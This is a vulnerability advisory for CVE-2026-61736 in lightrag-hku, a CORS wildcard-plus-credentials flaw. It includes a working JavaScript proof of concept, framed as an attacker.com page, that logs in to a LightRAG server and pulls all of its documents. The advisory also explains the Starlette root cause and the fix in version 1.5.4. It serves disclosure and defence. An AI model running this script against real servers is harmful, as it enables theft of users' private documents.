critical · 9.3CVE-2026-61736Jul 20, 2026

CVE-2026-61736: lightrag-hku CORS Wildcard + Credentials Any-Origin Takeover

Shubham Kandhare
Security Engagement Manager, SecureLayer7

LightRAG's API server pairs a wildcard CORS origin with credentials-allowed, letting any malicious website silently make authenticated requests on behalf of a logged-in user and steal or destroy all t

Packagelightrag-hku
Ecosystempip
Affected<= 1.5.3
Fixed in1.5.4

The problem

In `lightrag/api/config.py`, the default for `CORS_ORIGINS` is `"*"`. In `lightrag/api/lightrag_server.py`, `CORSMiddleware` is registered with both `allow_origins=["*"]` and `allow_credentials=True`.

Starlette's middleware detects this combination and switches from echoing `Access-Control-Allow-Origin: *` to echoing the actual requesting `Origin` header back, paired with `Access-Control-Allow-Credentials: true`. The browser accepts this, so every origin on the internet is effectively whitelisted for credentialed cross-origin requests.

Proof of concept

A working proof-of-concept for CVE-2026-61736 in lightrag-hku, with the exact payload below.

javascript
<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Authenticate as victim (or reuse existing session cookie)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

The root cause is CWE-942: a permissive cross-domain policy with untrusted domains. Starlette's `CORSMiddleware` sets an internal flag `preflight_explicit_allow_origin = not allow_all_origins or allow_credentials`. With `allow_all_origins=True` and `allow_credentials=True`, this flag evaluates to `True`, causing the middleware to echo the requesting `Origin` back rather than returning the literal `*`.

Browsers treat the echoed origin as an explicit allowlist match and honor `Allow-Credentials: true`, bypassing the Same-Origin Policy entirely.

The patch in PR #3317 enforces that `allow_credentials` is set to `False` whenever `allow_origins` contains the wildcard, breaking the echo behavior and restoring the browser's SOP protection.

The fix

Upgrade `lightrag-hku` to version 1.5.4. The fix (PR #3317, commits 09567a4, df68d75, ebba654) stops pairing `allow_credentials=True` with the wildcard origin. If you need credentialed CORS, set `CORS_ORIGINS` to an explicit, comma-separated list of trusted origins instead of `*`.

Reported by danielaskdd.

References: [1][2][3][4][5][6]

Related research